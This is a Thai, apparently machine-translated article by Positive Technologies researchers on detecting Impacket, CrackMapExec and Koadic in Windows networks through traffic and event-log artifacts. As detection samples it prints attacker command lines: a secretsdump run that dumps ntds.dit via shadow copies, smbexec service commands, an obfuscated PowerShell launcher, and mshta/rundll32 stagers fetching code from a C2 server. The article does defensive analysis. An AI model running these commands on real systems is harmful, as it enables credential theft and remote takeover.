วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์

จำนวนการโจมตีในภาคธุรกิจเพิ่มขึ้นทุกปี เช่น ในปี 2017 มีการบันทึกเหตุการณ์ที่ไม่ซ้ำกันเพิ่มขึ้น 13% กว่าปี 2016 และ ณ สิ้นปี 2018 - เหตุการณ์เพิ่มขึ้น 27%กว่าในช่วงก่อนหน้า รวมถึงเครื่องมือการทำงานหลักคือระบบปฏิบัติการ Windows ในปี 2017-2018 APT Dragonfly, APT28, เอพีที มัดดี้วอเตอร์ ก่อเหตุโจมตีหน่วยงานภาครัฐและกองทัพในยุโรป อเมริกาเหนือ และซาอุดีอาระเบีย และเราใช้เครื่องมือสามอย่างสำหรับสิ่งนี้ - อิมแพ็คเก็ต, CrackMapExec и โคอาดิก. ซอร์สโค้ดของพวกเขาเปิดอยู่และพร้อมใช้งานบน GitHub

เป็นที่น่าสังเกตว่าเครื่องมือเหล่านี้ไม่ได้ใช้สำหรับการเจาะครั้งแรก แต่เพื่อพัฒนาการโจมตีภายในโครงสร้างพื้นฐาน ผู้โจมตีจะใช้พวกมันในการโจมตีระยะต่างๆ หลังจากการรุกของขอบเขต อย่างไรก็ตามสิ่งนี้เป็นเรื่องยากที่จะตรวจจับและบ่อยครั้งด้วยความช่วยเหลือจากเทคโนโลยีเท่านั้น การระบุร่องรอยของการประนีประนอมในการรับส่งข้อมูลเครือข่าย หรือเครื่องมือที่ช่วยให้ ตรวจจับการกระทำของผู้โจมตีหลังจากที่เขาเจาะโครงสร้างพื้นฐานแล้ว. เครื่องมือนี้มีฟังก์ชันที่หลากหลาย ตั้งแต่การถ่ายโอนไฟล์ไปจนถึงการโต้ตอบกับรีจิสทรีและการดำเนินการคำสั่งบนเครื่องระยะไกล เราทำการศึกษาเครื่องมือเหล่านี้เพื่อพิจารณากิจกรรมเครือข่าย

สิ่งที่เราต้องทำ:

  • ทำความเข้าใจว่าเครื่องมือแฮ็กทำงานอย่างไร. ค้นหาว่าผู้โจมตีต้องการใช้ประโยชน์อะไรบ้างและเทคโนโลยีใดบ้างที่พวกเขาสามารถใช้ได้
  • ค้นหาสิ่งที่เครื่องมือรักษาความปลอดภัยข้อมูลตรวจไม่พบในระยะแรกของการโจมตี. ขั้นตอนการลาดตระเวนอาจถูกข้ามไป เนื่องจากผู้โจมตีเป็นผู้โจมตีภายใน หรือเนื่องจากผู้โจมตีกำลังหาประโยชน์จากช่องโหว่ในโครงสร้างพื้นฐานที่ไม่เคยทราบมาก่อน มันเป็นไปได้ที่จะฟื้นฟูห่วงโซ่การกระทำทั้งหมดของเขา ดังนั้นความปรารถนาที่จะตรวจจับการเคลื่อนไหวเพิ่มเติม
  • กำจัดผลบวกลวงจากเครื่องมือตรวจจับการบุกรุก. เราต้องไม่ลืมว่าเมื่อมีการตรวจพบการกระทำบางอย่างบนพื้นฐานของการลาดตระเวนเพียงอย่างเดียว อาจเกิดข้อผิดพลาดบ่อยครั้งได้ โดยปกติแล้วในโครงสร้างพื้นฐานจะมีวิธีที่เพียงพอ ซึ่งแยกไม่ออกจากวิธีที่ถูกต้องเมื่อมองแวบแรก เพื่อรับข้อมูลใดๆ

เครื่องมือเหล่านี้ให้อะไรแก่ผู้โจมตี? หากนี่คือ Impacket ผู้โจมตีจะได้รับคลังโมดูลขนาดใหญ่ที่สามารถนำมาใช้ในขั้นตอนต่างๆ ของการโจมตีที่ตามมาหลังจากทำลายขอบเขต เครื่องมือจำนวนมากใช้โมดูล Imppacket ภายใน เช่น Metasploit มี dcomexec และ wmiexec สำหรับการดำเนินการคำสั่งระยะไกล, secretsdump สำหรับการรับบัญชีจากหน่วยความจำที่เพิ่มจาก Impacket เป็นผลให้การตรวจจับกิจกรรมของห้องสมุดที่ถูกต้องจะช่วยให้มั่นใจในการตรวจจับอนุพันธ์

ไม่ใช่เรื่องบังเอิญที่ผู้สร้างเขียน “Powered by Impacket” เกี่ยวกับ CrackMapExec (หรือเรียกง่ายๆ ว่า CME) นอกจากนี้ CME ยังมีฟังก์ชันสำเร็จรูปสำหรับสถานการณ์ยอดนิยม: Mimikatz สำหรับการรับรหัสผ่านหรือแฮช การใช้ Meterpreter หรือตัวแทน Empire สำหรับการดำเนินการระยะไกล และ Bloodhound บนเครื่อง

เครื่องมือที่สามที่เราเลือกคือ Koadic ล่าสุดมีการนำเสนอในการประชุมแฮ็กเกอร์นานาชาติ DEFCON 25 ในปี 2017 และโดดเด่นด้วยวิธีการที่ไม่ได้มาตรฐาน: ทำงานผ่าน HTTP, Java Script และ Microsoft Visual Basic Script (VBS) วิธีการนี้เรียกว่าการใช้ชีวิตนอกพื้นที่: เครื่องมือนี้ใช้ชุดการขึ้นต่อกันและไลบรารีที่สร้างไว้ใน Windows ผู้สร้างเรียกมันว่า COM Command & Control หรือ C3

อิมแพ็กเก็ต

ฟังก์ชันการทำงานของ Impacket นั้นกว้างมาก ตั้งแต่การลาดตระเวนภายใน AD และการรวบรวมข้อมูลจากเซิร์ฟเวอร์ MS SQL ภายใน ไปจนถึงเทคนิคในการรับข้อมูลประจำตัว: นี่คือการโจมตีแบบส่งต่อ SMB และการรับไฟล์ ntds.dit ที่มีแฮชของรหัสผ่านผู้ใช้จากตัวควบคุมโดเมน นอกจากนี้ Imppacket ยังดำเนินการคำสั่งจากระยะไกลโดยใช้วิธีการที่แตกต่างกันสี่วิธี: WMI, Windows Scheduler Management Service, DCOM และ SMB และต้องใช้ข้อมูลประจำตัวในการดำเนินการดังกล่าว

การถ่ายโอนข้อมูลลับ

มาดู Secretsdump กันดีกว่า นี่คือโมดูลที่สามารถกำหนดเป้าหมายทั้งเครื่องผู้ใช้และตัวควบคุมโดเมน สามารถใช้เพื่อรับสำเนาพื้นที่หน่วยความจำ LSA, SAM, SECURITY, NTDS.dit เพื่อให้สามารถมองเห็นได้ในขั้นตอนต่างๆ ของการโจมตี ขั้นตอนแรกในการทำงานของโมดูลคือการรับรองความถูกต้องผ่าน SMB ซึ่งต้องใช้รหัสผ่านของผู้ใช้หรือแฮชเพื่อทำการโจมตี Pass the Hash โดยอัตโนมัติ ถัดมาเป็นคำขอให้เปิดการเข้าถึง Service Control Manager (SCM) และเข้าถึงรีจิสทรีผ่านโปรโตคอล winreg ซึ่งผู้โจมตีสามารถค้นหาข้อมูลสาขาที่สนใจและรับผลลัพธ์ผ่าน SMB

ในรูป 1 เราจะเห็นว่าเมื่อใช้โปรโตคอล winreg จะได้รับการเข้าถึงโดยใช้รีจิสตรีคีย์กับ LSA ได้อย่างไร ในการดำเนินการนี้ให้ใช้คำสั่ง DCERPC พร้อม opcode 15 - OpenKey

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 1. การเปิดคีย์รีจิสทรีโดยใช้โปรโตคอล winreg

ถัดไปเมื่อได้รับการเข้าถึงคีย์ค่าจะถูกบันทึกด้วยคำสั่ง SaveKey ด้วย opcode 20 Impacket ทำสิ่งนี้ในลักษณะที่เฉพาะเจาะจงมาก จะบันทึกค่าลงในไฟล์ที่มีชื่อเป็นสตริงอักขระสุ่ม 8 ตัวที่ต่อท้ายด้วย .tmp นอกจากนี้ การอัปโหลดไฟล์นี้เพิ่มเติมจะเกิดขึ้นผ่าน SMB จากไดเร็กทอรี System32 (รูปที่ 2)

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 2. โครงการรับคีย์รีจิสทรีจากเครื่องระยะไกล

ปรากฎว่ากิจกรรมดังกล่าวบนเครือข่ายสามารถตรวจพบได้โดยการสอบถามไปยังสาขารีจิสทรีบางแห่งโดยใช้โปรโตคอล winreg ชื่อเฉพาะ คำสั่ง และลำดับ

โมดูลนี้ยังทิ้งร่องรอยไว้ในบันทึกเหตุการณ์ของ Windows ทำให้ง่ายต่อการตรวจจับ เช่น ผลจากการรันคำสั่ง

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

ในบันทึก Windows Server 2016 เราจะเห็นลำดับเหตุการณ์ที่สำคัญต่อไปนี้:

1. 4624 - การเข้าสู่ระบบระยะไกล
2. 5145 - ตรวจสอบสิทธิ์การเข้าถึงบริการระยะไกล winreg
3. 5145 - ตรวจสอบสิทธิ์การเข้าถึงไฟล์ในไดเร็กทอรี System32 ไฟล์นี้มีชื่อสุ่มตามที่กล่าวไว้ข้างต้น
4. 4688 - การสร้างกระบวนการ cmd.exe ที่เรียกใช้ vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - สร้างกระบวนการด้วยคำสั่ง:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - สร้างกระบวนการด้วยคำสั่ง:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - สร้างกระบวนการด้วยคำสั่ง:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

สมเบกเซค

เช่นเดียวกับเครื่องมือหลังการแสวงหาประโยชน์อื่นๆ Impacket มีโมดูลสำหรับดำเนินการคำสั่งจากระยะไกล เราจะมุ่งเน้นไปที่ smbexec ซึ่งมีเชลล์คำสั่งแบบโต้ตอบบนเครื่องระยะไกล โมดูลนี้ยังต้องมีการตรวจสอบสิทธิ์ผ่าน SMB ด้วยรหัสผ่านหรือแฮชรหัสผ่าน ในรูป ในรูปที่ 3 เราเห็นตัวอย่างการทำงานของเครื่องมือดังกล่าว ในกรณีนี้คือคอนโซลผู้ดูแลระบบภายในเครื่อง

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 3. คอนโซล smbexec แบบโต้ตอบ

ขั้นตอนแรกของ smbexec หลังจากการรับรองความถูกต้องคือการเปิด SCM ด้วยคำสั่ง OpenSCManagerW (15) แบบสอบถามมีความโดดเด่น: ฟิลด์ MachineName คือ DUMMY

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 4. คำขอเปิด Service Control Manager

จากนั้นบริการจะถูกสร้างขึ้นโดยใช้คำสั่ง CreateServiceW (12) ในกรณีของ smbexec เราจะเห็นลอจิกการสร้างคำสั่งเดียวกันทุกครั้ง ในรูป 5 สีเขียวหมายถึงพารามิเตอร์คำสั่งที่ไม่สามารถเปลี่ยนแปลงได้ สีเหลืองหมายถึงสิ่งที่ผู้โจมตีสามารถเปลี่ยนแปลงได้ เป็นเรื่องง่ายที่จะเห็นว่าชื่อของไฟล์ปฏิบัติการ ไดเร็กทอรี และไฟล์เอาต์พุตสามารถเปลี่ยนแปลงได้ แต่ส่วนที่เหลือนั้นยากกว่ามากในการเปลี่ยนแปลงโดยไม่รบกวนตรรกะของโมดูล Impacket

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 5. ขอสร้างบริการโดยใช้ Service Control Manager

Smbexec ยังทิ้งร่องรอยที่ชัดเจนไว้ในบันทึกเหตุการณ์ของ Windows ในบันทึก Windows Server 2016 สำหรับเชลล์คำสั่งแบบโต้ตอบด้วยคำสั่ง ipconfig เราจะเห็นลำดับคีย์ของเหตุการณ์ต่อไปนี้:

1. 4697 — การติดตั้งบริการบนเครื่องของเหยื่อ:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - การสร้างกระบวนการ cmd.exe พร้อมอาร์กิวเมนต์จากจุดที่ 1
3. 5145 - ตรวจสอบสิทธิ์การเข้าถึงไฟล์ __output ในไดเร็กทอรี C$
4. 4697 — การติดตั้งบริการบนเครื่องของเหยื่อ

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - การสร้างกระบวนการ cmd.exe พร้อมอาร์กิวเมนต์จากจุดที่ 4
6. 5145 - ตรวจสอบสิทธิ์การเข้าถึงไฟล์ __output ในไดเร็กทอรี C$

Imppacket เป็นพื้นฐานสำหรับการพัฒนาเครื่องมือโจมตี รองรับโปรโตคอลเกือบทั้งหมดในโครงสร้างพื้นฐานของ Windows และในขณะเดียวกันก็มีคุณลักษณะเฉพาะของตัวเอง ต่อไปนี้เป็นคำขอ winreg เฉพาะ และการใช้ SCM API ที่มีการสร้างคำสั่งลักษณะเฉพาะ และรูปแบบชื่อไฟล์ และ SMB แชร์ SYSTEM32

CRACKMAPEXEC

เครื่องมือ CME ได้รับการออกแบบมาเพื่อทำให้การกระทำตามปกติที่ผู้โจมตีต้องดำเนินการเป็นไปโดยอัตโนมัติเพื่อความก้าวหน้าภายในเครือข่าย ช่วยให้คุณสามารถทำงานร่วมกับตัวแทน Empire และ Meterpreter ที่มีชื่อเสียงได้ หากต้องการดำเนินการคำสั่งอย่างซ่อนเร้น CME สามารถทำให้คำสั่งเหล่านี้สับสนได้ การใช้ Bloodhound (เครื่องมือลาดตระเวนแยกต่างหาก) ผู้โจมตีสามารถทำการค้นหาเซสชันผู้ดูแลระบบโดเมนที่ใช้งานอยู่ได้โดยอัตโนมัติ

หมาล่าเนื้อ

Bloodhound เป็นเครื่องมือแบบสแตนด์อโลนที่ช่วยให้สามารถลาดตระเวนขั้นสูงภายในเครือข่ายได้ โดยรวบรวมข้อมูลเกี่ยวกับผู้ใช้ เครื่องจักร กลุ่ม เซสชัน และจัดทำเป็นสคริปต์ PowerShell หรือไฟล์ไบนารี โปรโตคอลที่ใช้ LDAP หรือ SMB ใช้เพื่อรวบรวมข้อมูล โมดูลการรวม CME ช่วยให้สามารถดาวน์โหลด Bloodhound ไปยังเครื่องของเหยื่อ เรียกใช้และรับข้อมูลที่รวบรวมไว้หลังการดำเนินการ ซึ่งจะทำให้การดำเนินการในระบบเป็นอัตโนมัติและทำให้สังเกตเห็นได้น้อยลง เชลล์กราฟิก Bloodhound นำเสนอข้อมูลที่รวบรวมในรูปแบบของกราฟซึ่งช่วยให้คุณค้นหาเส้นทางที่สั้นที่สุดจากเครื่องของผู้โจมตีไปยังผู้ดูแลระบบโดเมน

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 6. อินเทอร์เฟซบลัดฮาวด์

หากต้องการทำงานบนเครื่องของเหยื่อ โมดูลจะสร้างงานโดยใช้ ATSVC และ SMB ATSVC เป็นอินเทอร์เฟซสำหรับการทำงานกับ Windows Task Scheduler CME ใช้ฟังก์ชัน NetrJobAdd(1) เพื่อสร้างงานบนเครือข่าย ตัวอย่างของสิ่งที่โมดูล CME ส่งจะแสดงในรูปที่ 7 XNUMX: นี่คือการเรียกคำสั่ง cmd.exe และโค้ดที่สร้างความสับสนในรูปแบบของอาร์กิวเมนต์ในรูปแบบ XML

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
รูปที่ 7 การสร้างงานผ่าน CME

หลังจากส่งงานเพื่อดำเนินการแล้ว เครื่องของเหยื่อจะเริ่มทำงาน Bloodhound เอง และสิ่งนี้สามารถเห็นได้บนการจราจร โมดูลนี้มีลักษณะเฉพาะด้วยการสืบค้น LDAP เพื่อรับกลุ่มมาตรฐาน รายชื่อเครื่องและผู้ใช้ทั้งหมดในโดเมน และรับข้อมูลเกี่ยวกับเซสชันผู้ใช้ที่ใช้งานอยู่ผ่านคำขอ SRVSVC NetSessEnum

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 8. รับรายการเซสชันที่ใช้งานผ่าน SMB

นอกจากนี้ การเปิดตัว Bloodhound บนเครื่องของเหยื่อโดยเปิดใช้งานการตรวจสอบจะมาพร้อมกับเหตุการณ์ที่มี ID 4688 (การสร้างกระบวนการ) และชื่อกระบวนการ «C:WindowsSystem32cmd.exe». สิ่งที่น่าทึ่งเกี่ยวกับเรื่องนี้คืออาร์กิวเมนต์บรรทัดคำสั่ง:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

โมดูล enum_avproducts มีความน่าสนใจมากในแง่ของฟังก์ชันการทำงานและการนำไปใช้งาน WMI อนุญาตให้คุณใช้ภาษาคิวรี WQL เพื่อดึงข้อมูลจากออบเจ็กต์ Windows ต่างๆ ซึ่งเป็นสิ่งที่โมดูล CME นี้ใช้เป็นหลัก โดยจะสร้างการสอบถามไปยังคลาส AntiSpywareProduct และ AntiМirusProduct เกี่ยวกับเครื่องมือป้องกันที่ติดตั้งบนเครื่องของเหยื่อ เพื่อให้ได้ข้อมูลที่จำเป็น โมดูลจะเชื่อมต่อกับเนมสเปซ rootSecurityCenter2 จากนั้นสร้างแบบสอบถาม WQL และรับการตอบกลับ ในรูป รูปที่ 9 แสดงเนื้อหาของคำขอและการตอบกลับดังกล่าว ในตัวอย่างของเรา พบ Windows Defender

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 9. กิจกรรมเครือข่ายของโมดูล enum_avproducts

บ่อยครั้งที่การตรวจสอบ WMI (ติดตาม WMI-กิจกรรม) ซึ่งมีเหตุการณ์ที่คุณสามารถค้นหาข้อมูลที่เป็นประโยชน์เกี่ยวกับการสืบค้น WQL อาจถูกปิดใช้งาน แต่ถ้าเปิดใช้งานอยู่ ถ้ารันสคริปต์ enum_avproducts เหตุการณ์ที่มี ID 11 จะถูกบันทึก โดยจะมีชื่อของผู้ใช้ที่ส่งคำขอและชื่อในเนมสเปซ rootSecurityCenter2

แต่ละโมดูล CME มีสิ่งประดิษฐ์ของตัวเอง ไม่ว่าจะเป็นการสืบค้น WQL เฉพาะหรือการสร้างงานบางประเภทในตัวกำหนดเวลางานที่มีการ obfuscation และกิจกรรมเฉพาะ Bloodhound ใน LDAP และ SMB

โคอาดิก

คุณสมบัติที่โดดเด่นของ Koadic คือการใช้ล่าม JavaScript และ VBScript ที่สร้างไว้ใน Windows ในแง่นี้ มันเป็นไปตามกระแสการใช้ชีวิตนอกพื้นที่ กล่าวคือ ไม่มีการพึ่งพาภายนอก และใช้เครื่องมือ Windows มาตรฐาน นี่เป็นเครื่องมือสำหรับ Command & Control (CnC) เต็มรูปแบบ เนื่องจากหลังจากการติดเชื้อแล้ว “อุปกรณ์ฝัง” จะถูกติดตั้งบนเครื่อง ทำให้สามารถควบคุมได้ เครื่องจักรดังกล่าวในศัพท์เฉพาะของ Koadic เรียกว่า "ซอมบี้" หากสิทธิ์ไม่เพียงพอสำหรับการดำเนินการเต็มรูปแบบในฝั่งของเหยื่อ Koadic ก็สามารถยกระดับพวกเขาโดยใช้เทคนิคการบายพาสการควบคุมบัญชีผู้ใช้ (บายพาส UAC)

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 10. โคอาดิก เชลล์

เหยื่อจะต้องเริ่มต้นการสื่อสารกับเซิร์ฟเวอร์ Command & Control ในการดำเนินการนี้ เธอจำเป็นต้องติดต่อกับ URI ที่เตรียมไว้ก่อนหน้านี้ และรับตัว Koadic หลักโดยใช้สเตจตัวใดตัวหนึ่ง ในรูป รูปที่ 11 แสดงตัวอย่างสำหรับ mshta stager

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 11. การเริ่มต้นเซสชันด้วยเซิร์ฟเวอร์ CnC

จากตัวแปรการตอบสนอง WS จะเห็นได้ชัดว่าการดำเนินการเกิดขึ้นผ่าน WScript.Shell และตัวแปร STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE มีข้อมูลสำคัญเกี่ยวกับพารามิเตอร์ของเซสชันปัจจุบัน นี่เป็นคู่คำขอและการตอบสนองคู่แรกในการเชื่อมต่อ HTTP กับเซิร์ฟเวอร์ CnC คำขอที่ตามมาจะเกี่ยวข้องโดยตรงกับการทำงานของโมดูลที่เรียกว่า (รากฟันเทียม) โมดูล Koadic ทั้งหมดใช้งานได้เฉพาะกับเซสชันที่ใช้งานกับ CnC เท่านั้น

Mimikatz

เช่นเดียวกับที่ CME ทำงานร่วมกับ Bloodhound Koadic ทำงานร่วมกับ Mimikatz เป็นโปรแกรมแยกต่างหากและมีหลายวิธีในการเปิดตัว ด้านล่างนี้คือคู่คำขอ-ตอบกลับสำหรับการดาวน์โหลดรากฟันเทียม Mimikatz

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 12. โอน Mimikatz ไปที่ Koadic

คุณสามารถดูได้ว่ารูปแบบ URI ในคำขอมีการเปลี่ยนแปลงอย่างไร ขณะนี้มีค่าสำหรับตัวแปร csrf ซึ่งรับผิดชอบโมดูลที่เลือก อย่าไปสนใจชื่อของเธอ เราทุกคนรู้ดีว่า CSRF มักมีความเข้าใจแตกต่างออกไป การตอบสนองเป็นเนื้อหาหลักเดียวกันกับ Koadic ซึ่งมีการเพิ่มโค้ดที่เกี่ยวข้องกับ Mimikatz มันค่อนข้างใหญ่ เรามาดูประเด็นสำคัญกันดีกว่า ที่นี่เรามีไลบรารี่ Mimikatz ที่เข้ารหัสใน base64 ซึ่งเป็นคลาส .NET ที่เป็นอนุกรมที่จะฉีดเข้าไป และอาร์กิวเมนต์เพื่อเปิดใช้ Mimikatz ผลการดำเนินการจะถูกส่งผ่านเครือข่ายในรูปแบบข้อความที่ชัดเจน

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 13. ผลลัพธ์ของการรัน Mimikatz บนเครื่องระยะไกล

Exec_cmd

Koadic ยังมีโมดูลที่สามารถรันคำสั่งจากระยะไกลได้ ที่นี่เราจะเห็นวิธีการสร้าง URI เดียวกันและตัวแปร sid และ csrf ที่คุ้นเคย ในกรณีของโมดูล exec_cmd โค้ดจะถูกเพิ่มเข้าไปในเนื้อหาที่สามารถดำเนินการคำสั่งเชลล์ได้ ด้านล่างนี้แสดงโค้ดดังกล่าวที่มีอยู่ในการตอบสนอง HTTP ของเซิร์ฟเวอร์ CnC

วิธีตรวจจับการโจมตีโครงสร้างพื้นฐานของ Windows: สำรวจเครื่องมือแฮ็กเกอร์
ข้าว. 14. รหัสรากเทียม exec_cmd

ต้องใช้ตัวแปร GAWTUUGCFI ที่มีแอตทริบิวต์ WS ที่คุ้นเคยสำหรับการเรียกใช้โค้ด ด้วยความช่วยเหลือ อุปกรณ์ปลูกถ่ายจะเรียกเชลล์ โดยประมวลผลโค้ดสองสาขา - shell.exec พร้อมการส่งคืนสตรีมข้อมูลเอาต์พุตและ shell.run โดยไม่ส่งคืน

Koadic ไม่ใช่เครื่องมือทั่วไป แต่มีสิ่งประดิษฐ์ของตัวเองซึ่งสามารถพบได้ในการรับส่งข้อมูลที่ถูกกฎหมาย:

  • การสร้างคำขอ HTTP แบบพิเศษ
  • ใช้ winHttpRequests API
  • การสร้างวัตถุ WScript.Shell ผ่าน ActiveXObject
  • ตัวเครื่องขนาดใหญ่ที่สามารถปฏิบัติการได้

การเชื่อมต่อเริ่มแรกเริ่มต้นโดย Stager ดังนั้นจึงสามารถตรวจจับกิจกรรมผ่านกิจกรรมของ Windows ได้ สำหรับ mshta นี่คือเหตุการณ์ 4688 ซึ่งระบุการสร้างกระบวนการด้วยแอตทริบิวต์ start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

ในขณะที่ Koadic กำลังทำงาน คุณสามารถดูเหตุการณ์ 4688 อื่นๆ พร้อมคุณลักษณะที่มีลักษณะเฉพาะได้อย่างสมบูรณ์แบบ:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

ผลการวิจัย

กระแสการดำรงชีพนอกที่ดินกำลังได้รับความนิยมในหมู่อาชญากร พวกเขาใช้เครื่องมือและกลไกที่มีอยู่ใน Windows ตามความต้องการ เราเห็นเครื่องมือยอดนิยม Koadic, CrackMapExec และ Impacket ที่ปฏิบัติตามหลักการนี้ปรากฏในรายงานของ APT มากขึ้น จำนวนส้อมบน GitHub สำหรับเครื่องมือเหล่านี้ก็เพิ่มขึ้นเช่นกัน และอันใหม่ก็ปรากฏขึ้น (ตอนนี้มีประมาณพันอันแล้ว) เทรนด์นี้กำลังได้รับความนิยมเนื่องจากความเรียบง่าย: ผู้โจมตีไม่จำเป็นต้องใช้เครื่องมือของบุคคลที่สาม พวกเขาอยู่ในเครื่องของเหยื่ออยู่แล้วและช่วยให้พวกเขาหลีกเลี่ยงมาตรการรักษาความปลอดภัย เรามุ่งเน้นที่การศึกษาการสื่อสารเครือข่าย: แต่ละเครื่องมือที่อธิบายไว้ข้างต้นจะทิ้งร่องรอยไว้ในการรับส่งข้อมูลเครือข่าย การศึกษาอย่างละเอียดทำให้เราสามารถสอนผลิตภัณฑ์ของเราได้ การค้นพบการโจมตีเครือข่าย PT ตรวจจับพวกเขา ซึ่งท้ายที่สุดจะช่วยตรวจสอบห่วงโซ่เหตุการณ์ทางไซเบอร์ที่เกี่ยวข้องกับพวกเขาในที่สุด

ผู้เขียน:

  • Anton Tyurin หัวหน้าฝ่ายบริการผู้เชี่ยวชาญ PT Expert Security Center, Positive Technologies
  • Egor Podmokov ผู้เชี่ยวชาญ PT Expert Security Center, Positive Technologies

ที่มา: will.com

เพิ่มความคิดเห็น